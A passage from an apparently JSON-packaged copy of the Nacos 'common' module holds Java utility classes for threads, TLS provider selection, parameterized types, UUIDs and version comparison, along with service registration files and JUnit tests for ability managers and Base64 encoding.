uncaughtExceptionHandler) {\n        checkNullParameter(uncaughtExceptionHandler, \"uncaughtExceptionHandler cannot be null.\");\n        this.uncaughtExceptionHandler = uncaughtExceptionHandler;\n        return this;\n    }\n    \n    /**\n     * set daemon property.\n     */\n    public ThreadFactoryBuilder daemon(boolean daemon) {\n        this.daemon = daemon;\n        return this;\n    }\n    \n    /**\n     * set customizeFactory property.\n     */\n    public ThreadFactoryBuilder customizeFactory(ThreadFactory factory) {\n        checkNullParameter(factory, \"factory cannot be null.\");\n        this.customizeFactory = factory;\n        return this;\n    }\n    \n    /**\n     *  build thread factory.\n     */\n    public ThreadFactory build() {\n        ThreadFactory factory = customizeFactory == null ? Executors.defaultThreadFactory() : customizeFactory;\n        final AtomicLong count = (nameFormat != null) ? new AtomicLong(0) : null;\n        return r -> {\n            Thread thread = factory.newThread(r);\n            if (nameFormat != null) {\n                thread.setName(format(nameFormat, count.getAndIncrement()));\n            }\n            if (priority != null) {\n                thread.setPriority(priority);\n            }\n            if (uncaughtExceptionHandler != null) {\n                thread.setUncaughtExceptionHandler(uncaughtExceptionHandler);\n            }\n            thread.setDaemon(daemon);\n            return thread;\n        };\n    }\n    \n    private String format(String format, Object... args) {\n        return String.format(Locale.ROOT, format, args);\n    }\n    \n    private void checkNullParameter(Object obj, String msg) {\n        if (obj == null) {\n            throw new IllegalArgumentException(msg);\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/ThreadUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.slf4j.Logger;\n\nimport java.util.Objects;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Thread utils.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class ThreadUtils {\n    \n    private ThreadUtils() {\n    }\n    \n    private static final int THREAD_MULTIPLER = 2;\n    \n    /**\n     * Sleep.\n     *\n     * @param millis sleep millisecond\n     */\n    public static void sleep(long millis) {\n        try {\n            Thread.sleep(millis);\n        } catch (InterruptedException e) {\n            Thread.currentThread().interrupt();\n        }\n    }\n    \n    public static void countDown(CountDownLatch latch) {\n        Objects.requireNonNull(latch, \"latch\");\n        latch.countDown();\n    }\n    \n    /**\n     * Await count down latch.\n     *\n     * @param latch count down latch\n     */\n    public static void latchAwait(CountDownLatch latch) {\n        try {\n            latch.await();\n        } catch (InterruptedException e) {\n            Thread.currentThread().interrupt();\n        }\n    }\n    \n    /**\n     * Await count down latch with timeout.\n     *\n     * @param latch count down latch\n     * @param time  timeout time\n     * @param unit  time unit\n     */\n    public static void latchAwait(CountDownLatch latch, long time, TimeUnit unit) {\n        try {\n            latch.await(time, unit);\n        } catch (InterruptedException e) {\n            Thread.currentThread().interrupt();\n        }\n    }\n    \n    /**\n     * Through the number of cores, calculate the appropriate number of threads; 1.5-2 times the number of CPU cores.\n     *\n     * @return thread count\n     */\n    public static int getSuitableThreadCount() {\n        return getSuitableThreadCount(THREAD_MULTIPLER);\n    }\n    \n    /**\n     * Through the number of cores, calculate the appropriate number of threads.\n     *\n     * @param threadMultiple multiple time of cores\n     * @return thread count\n     */\n    public static int getSuitableThreadCount(int threadMultiple) {\n        final int coreCount = PropertyUtils.getProcessorsCount();\n        int workerCount = 1;\n        while (workerCount < coreCount * threadMultiple) {\n            workerCount <<= 1;\n        }\n        return workerCount;\n    }\n    \n    public static void shutdownThreadPool(ExecutorService executor) {\n        shutdownThreadPool(executor, null);\n    }\n    \n    /**\n     * Shutdown thread pool.\n     *\n     * @param executor thread pool\n     * @param logger   logger\n     */\n    public static void shutdownThreadPool(ExecutorService executor, Logger logger) {\n        executor.shutdown();\n        int retry = 3;\n        while (retry > 0) {\n            retry--;\n            try {\n                if (executor.awaitTermination(100, TimeUnit.MILLISECONDS)) {\n                    return;\n                }\n            } catch (InterruptedException e) {\n                executor.shutdownNow();\n                Thread.interrupted();\n            } catch (Throwable ex) {\n                if (logger != null) {\n                    logger.error(\"ThreadPoolManager shutdown executor has error : \", ex);\n                }\n            }\n        }\n        executor.shutdownNow();\n    }\n    \n    public static void addShutdownHook(Runnable runnable) {\n        Runtime.getRuntime().addShutdownHook(new Thread(runnable));\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/TlsTypeResolve.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport io.grpc.netty.shaded.io.netty.handler.ssl.SslProvider;\n\n/**\n * gRPC config for sdk.\n *\n * @author githubcheng2978\n */\npublic class TlsTypeResolve {\n\n    /**\n     * JDK SSL is very slower than OPENSSL, recommend use openSSl.\n     *\n     * @param provider name of ssl provider.\n     * @return SslProvider.\n     */\n    public static SslProvider getSslProvider(String provider) {\n        if (SslProvider.OPENSSL.name().equalsIgnoreCase(provider)) {\n            return SslProvider.OPENSSL;\n        }\n        if (SslProvider.JDK.name().equalsIgnoreCase(provider)) {\n            return SslProvider.JDK;\n        }\n        if (SslProvider.OPENSSL_REFCNT.name().equalsIgnoreCase(provider)) {\n            return SslProvider.OPENSSL_REFCNT;\n        }\n        return SslProvider.OPENSSL;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/TypeUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\n\n/**\n * type utils.\n *\n * @author zzq\n */\npublic class TypeUtils {\n\n    private TypeUtils() {\n    }\n    \n    /**\n     * Create a parameterized type instance.\n     *\n     * @param raw           raw class\n     * @param typeArguments the types used for parameterization\n     * @return {@link ParameterizedType}\n     */\n    public static ParameterizedType parameterize(final Class<?> raw, final Type... typeArguments) {\n        checkParameterizeMethodParameter(raw, typeArguments);\n        return new ParameterizedTypeImpl(raw, raw.getEnclosingClass(), typeArguments);\n    }\n    \n    /**\n     * Check parameterize method parameter.\n     *\n     * @param raw           raw class\n     * @param typeArguments the types used for parameterization\n     */\n    private static void checkParameterizeMethodParameter(Class<?> raw, final Type... typeArguments) {\n        if (raw == null) {\n            throw new NullPointerException(\"raw cannot be null\");\n        }\n        if (typeArguments == null) {\n            throw new NullPointerException(\"typeArguments cannot be null\");\n        }\n        if (typeArguments.length != raw.getTypeParameters().length) {\n            throw new IllegalArgumentException(\n                    String.format(\"invalid number of type parameters specified: expected %s, got %s\",\n                            raw.getTypeParameters().length, typeArguments.length));\n        }\n        \n        for (int i = 0; i < typeArguments.length; i++) {\n            if (typeArguments[i] == null) {\n                throw new IllegalArgumentException(\"There can be no null in typeArguments\");\n            }\n        }\n        \n    }\n    \n    /**\n     * ParameterizedType implementation class.\n     */\n    private static final class ParameterizedTypeImpl implements ParameterizedType {\n        \n        /**\n         * type.\n         */\n        private final Class<?> raw;\n        \n        /**\n         * owner type to use, if any.\n         */\n        private final Type useOwner;\n        \n        /**\n         * formal type arguments.typeArguments\n         */\n        private final Type[] typeArguments;\n        \n        private ParameterizedTypeImpl(final Class<?> raw, final Type useOwner, final Type[] typeArguments) {\n            this.raw = raw;\n            this.useOwner = useOwner;\n            this.typeArguments = typeArguments;\n        }\n        \n        @Override\n        public Type getRawType() {\n            return raw;\n        }\n        \n        @Override\n        public Type getOwnerType() {\n            return useOwner;\n        }\n        \n        @Override\n        public Type[] getActualTypeArguments() {\n            return typeArguments.clone();\n        }\n        \n        @Override\n        public String toString() {\n            final StringBuilder buf = new StringBuilder();\n            \n            buf.append(raw.getName());\n            buf.append('<');\n            buf.append(typeArguments[0].getTypeName());\n            for (int i = 1; i < typeArguments.length; i++) {\n                buf.append(\", \");\n                buf.append(typeArguments[i].getTypeName());\n            }\n            buf.append('>');\n            \n            return buf.toString();\n        }\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/UuidUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.util.UUID;\n\n/**\n * UUID utils.\n *\n * @author nkorange\n */\npublic class UuidUtils {\n\n    private UuidUtils() {\n    }\n    \n    public static String generateUuid() {\n        return UUID.randomUUID().toString();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/VersionUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.io.InputStream;\nimport java.util.Comparator;\nimport java.util.Objects;\nimport java.util.Properties;\n\n/**\n * Version utils.\n *\n * @author xingxuechao on:2019/2/27 12:32 PM\n */\npublic class VersionUtils {\n\n    private VersionUtils() {\n    }\n    \n    public static String version;\n    \n    private static String clientVersion;\n    \n    /**\n     * current version.\n     */\n    public static final String VERSION_PLACEHOLDER = \"${project.version}\";\n    \n    private static final String NACOS_VERSION_FILE = \"nacos-version.txt\";\n    \n    static {\n        try (InputStream in = VersionUtils.class.getClassLoader().getResourceAsStream(NACOS_VERSION_FILE)) {\n            Properties props = new Properties();\n            props.load(in);\n            String val = props.getProperty(\"version\");\n            if (val != null && !VERSION_PLACEHOLDER.equals(val)) {\n                version = val;\n                clientVersion = \"Nacos-Java-Client:v\" + VersionUtils.version;\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n    \n    private static final Comparator<String> STRING_COMPARATOR = String::compareTo;\n    \n    /**\n     * compare two version who is latest.\n     *\n     * @param versionA version A, like x.y.z(-beta)\n     * @param versionB version B, like x.y.z(-beta)\n     * @return compare result\n     */\n    public static int compareVersion(final String versionA, final String versionB) {\n        final String[] sA = versionA.split(\"\\\\.\");\n        final String[] sB = versionB.split(\"\\\\.\");\n        int expectSize = 3;\n        if (sA.length != expectSize || sB.length != expectSize) {\n            throw new IllegalArgumentException(\"version must be like x.y.z(-beta)\");\n        }\n        int first = Objects.compare(sA[0], sB[0], STRING_COMPARATOR);\n        if (first != 0) {\n            return first;\n        }\n        int second = Objects.compare(sA[1], sB[1], STRING_COMPARATOR);\n        if (second != 0) {\n            return second;\n        }\n        return Objects.compare(sA[2].split(\"-\")[0], sB[2].split(\"-\")[0], STRING_COMPARATOR);\n    }\n    \n    public static String getFullClientVersion() {\n        return clientVersion;\n    }\n}\n"
  },
  {
    "path": "common/src/main/resources/META-INF/services/com.alibaba.nacos.common.labels.LabelsCollector",
    "content": " #\n #\n # Copyright 1999-2023 Alibaba Group Holding Ltd.\n #\n # Licensed under the Apache License, Version 2.0 (the \"License\");\n # you may not use this file except in compliance with the License.\n # You may obtain a copy of the License at\n #\n #      http://www.apache.org/licenses/LICENSE-2.0\n #\n # Unless required by applicable law or agreed to in writing, software\n # distributed under the License is distributed on an \"AS IS\" BASIS,\n # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n # See the License for the specific language governing permissions and\n # limitations under the License.\n #\n #\n\ncom.alibaba.nacos.common.labels.impl.DefaultLabelsCollector"
  },
  {
    "path": "common/src/main/resources/META-INF/services/com.alibaba.nacos.common.paramcheck.AbstractParamChecker",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.common.paramcheck.DefaultParamChecker"
  },
  {
    "path": "common/src/main/resources/META-INF/services/com.alibaba.nacos.common.pathencoder.PathEncoder",
    "content": " #\n #\n # Copyright 1999-2023 Alibaba Group Holding Ltd.\n #\n # Licensed under the Apache License, Version 2.0 (the \"License\");\n # you may not use this file except in compliance with the License.\n # You may obtain a copy of the License at\n #\n #      http://www.apache.org/licenses/LICENSE-2.0\n #\n # Unless required by applicable law or agreed to in writing, software\n # distributed under the License is distributed on an \"AS IS\" BASIS,\n # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n # See the License for the specific language governing permissions and\n # limitations under the License.\n #\n #\n\ncom.alibaba.nacos.common.pathencoder.impl.WindowsEncoder"
  },
  {
    "path": "common/src/main/resources/nacos-version.txt",
    "content": "version=${project.version}\n"
  },
  {
    "path": "common/src/test/java/ClassUtilsTestMockClass.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npublic class ClassUtilsTestMockClass {\n\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/AppTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\npublic class AppTest {\n    \n    @Test\n    void testApp() {\n        assertTrue(true);\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/ability/AbstractAbilityControlManagerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.ability;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AbstractAbilityControlManagerTest {\n    \n    private AbstractAbilityControlManager abilityControlManager;\n    \n    private Subscriber<AbstractAbilityControlManager.AbilityUpdateEvent> mockSubscriber;\n    \n    private boolean isOn = true;\n    \n    private AssertionError assertionError;\n    \n    private boolean notified = false;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mockSubscriber = new Subscriber<AbstractAbilityControlManager.AbilityUpdateEvent>() {\n            @Override\n            public void onEvent(AbstractAbilityControlManager.AbilityUpdateEvent event) {\n                notified = true;\n                try {\n                    assertEquals(AbilityKey.SERVER_FUZZY_WATCH, event.getAbilityKey());\n                    assertEquals(isOn, event.isOn());\n                    assertEquals(2, event.getAbilityTable().size());\n                    assertEquals(isOn, event.getAbilityTable().get(AbilityKey.SERVER_FUZZY_WATCH.getName()));\n                } catch (AssertionError error) {\n                    assertionError = error;\n                }\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return AbstractAbilityControlManager.AbilityUpdateEvent.class;\n            }\n        };\n        abilityControlManager = new MockAbilityControlManager();\n        NotifyCenter.registerSubscriber(mockSubscriber);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        NotifyCenter.deregisterSubscriber(mockSubscriber);\n        assertionError = null;\n        notified = false;\n    }\n    \n    @Test\n    void testEnableCurrentNodeAbility() throws InterruptedException {\n        isOn = true;\n        abilityControlManager.enableCurrentNodeAbility(AbilityKey.SERVER_FUZZY_WATCH);\n        TimeUnit.MILLISECONDS.sleep(1100);\n        assertTrue(notified);\n        if (null != assertionError) {\n            throw assertionError;\n        }\n    }\n    \n    @Test\n    void testDisableCurrentNodeAbility() throws InterruptedException {\n        isOn = false;\n        abilityControlManager.disableCurrentNodeAbility(AbilityKey.SERVER_FUZZY_WATCH);\n        TimeUnit.MILLISECONDS.sleep(1100);\n        assertTrue(notified);\n        if (null != assertionError) {\n            throw assertionError;\n        }\n    }\n    \n    @Test\n    void testIsCurrentNodeAbilityRunning() {\n        assertEquals(AbilityStatus.SUPPORTED, abilityControlManager.isCurrentNodeAbilityRunning(AbilityKey.SERVER_FUZZY_WATCH));\n        assertEquals(AbilityStatus.NOT_SUPPORTED, abilityControlManager.isCurrentNodeAbilityRunning(AbilityKey.SERVER_DISTRIBUTED_LOCK));\n        assertEquals(AbilityStatus.UNKNOWN, abilityControlManager.isCurrentNodeAbilityRunning(AbilityKey.SDK_CLIENT_FUZZY_WATCH));\n    }\n    \n    @Test\n    void testGetCurrentNodeAbilities() {\n        Map<String, Boolean> actual = abilityControlManager.getCurrentNodeAbilities(AbilityMode.SERVER);\n        assertEquals(2, actual.size());\n        assertTrue(actual.containsKey(AbilityKey.SERVER_FUZZY_WATCH.getName()));\n        assertTrue(actual.containsKey(AbilityKey.SERVER_DISTRIBUTED_LOCK.getName()));\n        actual = abilityControlManager.getCurrentNodeAbilities(AbilityMode.SDK_CLIENT);\n        assertTrue(actual.isEmpty());\n    }\n    \n    @Test\n    void testGetPriority() {\n        assertEquals(Integer.MIN_VALUE, abilityControlManager.getPriority());\n    }\n    \n    @Test\n    void testInitFailed() {\n        assertThrows(IllegalStateException.class, () -> {\n            abilityControlManager = new AbstractAbilityControlManager() {\n                @Override\n                protected Map<AbilityMode, Map<AbilityKey, Boolean>> initCurrentNodeAbilities() {\n                    Map<AbilityKey, Boolean> abilities = Collections.singletonMap(AbilityKey.SDK_CLIENT_FUZZY_WATCH, true);\n                    return Collections.singletonMap(AbilityMode.SERVER, abilities);\n                }\n                \n                @Override\n                public int getPriority() {\n                    return 0;\n                }\n            };\n        });\n    }\n    \n    private static final class MockAbilityControlManager extends AbstractAbilityControlManager {\n        \n        @Override\n        protected Map<AbilityMode, Map<AbilityKey, Boolean>> initCurrentNodeAbilities() {\n            Map<AbilityKey, Boolean> abilities = new HashMap<>(2);\n            abilities.put(AbilityKey.SERVER_FUZZY_WATCH, true);\n            abilities.put(AbilityKey.SERVER_DISTRIBUTED_LOCK, false);\n            return Collections.singletonMap(AbilityMode.SERVER, abilities);\n        }\n        \n        @Override\n        public int getPriority() {\n            return Integer.MIN_VALUE;\n        }\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/ability/MockAbilityPostProcessor.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.ability;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.api.ability.initializer.AbilityPostProcessor;\n\nimport java.util.Map;\n\npublic class MockAbilityPostProcessor implements AbilityPostProcessor {\n    \n    @Override\n    public void process(AbilityMode mode, Map<AbilityKey, Boolean> abilities) {\n        // do nothing.\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/ability/discover/HigherMockAbilityManager.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.ability.discover;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.common.ability.AbstractAbilityControlManager;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class HigherMockAbilityManager extends AbstractAbilityControlManager {\n    \n    @Override\n    protected Map<AbilityMode, Map<AbilityKey, Boolean>> initCurrentNodeAbilities() {\n        Map<AbilityKey, Boolean> abilities = new HashMap<>();\n        abilities.put(AbilityKey.SERVER_FUZZY_WATCH, true);\n        Map<AbilityMode, Map<AbilityKey, Boolean>> result = new HashMap<>();\n        result.put(AbilityMode.SERVER, abilities);\n        return result;\n    }\n    \n    @Override\n    public int getPriority() {\n        return 100;\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/ability/discover/LowerMockAbilityManager.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.ability.discover;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.common.ability.AbstractAbilityControlManager;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class LowerMockAbilityManager extends AbstractAbilityControlManager {\n    \n    @Override\n    protected Map<AbilityMode, Map<AbilityKey, Boolean>> initCurrentNodeAbilities() {\n        Map<AbilityKey, Boolean> abilities = new HashMap<>();\n        abilities.put(AbilityKey.SDK_CLIENT_FUZZY_WATCH, true);\n        Map<AbilityMode, Map<AbilityKey, Boolean>> result = new HashMap<>();\n        result.put(AbilityMode.SDK_CLIENT, abilities);\n        return result;\n    }\n    \n    @Override\n    public int getPriority() {\n        return 0;\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/ability/discover/NacosAbilityManagerHolderTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.ability.discover;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosAbilityManagerHolderTest {\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        NacosAbilityManagerHolder.getInstance();\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        Field abilityControlManagerField = NacosAbilityManagerHolder.class.getDeclaredField(\"abstractAbilityControlManager\");\n        abilityControlManagerField.setAccessible(true);\n        abilityControlManagerField.set(null, null);\n    }\n    \n    @Test\n    void testGetInstance() {\n        assertNotNull(NacosAbilityManagerHolder.getInstance());\n    }\n    \n    @Test\n    void testGetInstanceByType() {\n        assertNotNull(NacosAbilityManagerHolder.getInstance(HigherMockAbilityManager.class));\n    }\n    \n    @Test\n    void testGetInstanceByWrongType() {\n        assertThrows(ClassCastException.class, () -> {\n            assertNotNull(NacosAbilityManagerHolder.getInstance(LowerMockAbilityManager.class));\n        });\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/codec/Base64Test.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.codec;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.nio.charset.StandardCharsets;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass Base64Test {\n    \n    @Test\n    void test() {\n        String origin = \"nacos\";\n        String encoded = \"bmFjb3M=\";\n        \n        byte[] encodeBase64 = Base64.encodeBase64(origin.getBytes(StandardCharsets.UTF_8));\n        assertEquals(encoded, new String(encodeBase64));\n        byte[] decodeBase64 = Base64.decodeBase64(encoded.getBytes(StandardCharsets.UTF_8));\n        assertEquals(origin, new String(decodeBase64));\n    }\n    \n    @Test\n    void testEncodeNullOrEmpty() {\n        byte[] b1 = Base64.encodeBase64(null);\n        assertNull(b1);\n        byte[] b2 = Base64.encodeBase64(new byte[] {});\n        assertEquals(0, b2.length);\n    }\n    \n    @Test\n    void testDecodeNullOrEmpty() {\n        byte[] b1 = Base64.decodeBase64(null);\n        assertNull(b1);\n        byte[] b2 = Base64.decodeBase64(new byte[] {});\n        assertEquals(0, b2.length);\n    }\n    \n    @Test\n    void testChunk() {\n        String a = \"very large characters to test chunk encoding and see if the result is expected or not\";\n        byte[] b1 = Base64.encodeBase64(a.getBytes(StandardCharsets.UTF_8), false, false, Integer.MAX_VALUE);\n        byte[] b2 = Base64.encodeBase64(a.getBytes(StandardCharsets.UTF_8), true, false, Integer.MAX_VALUE);\n        String s1 = new String(b1);\n        String s2 = new 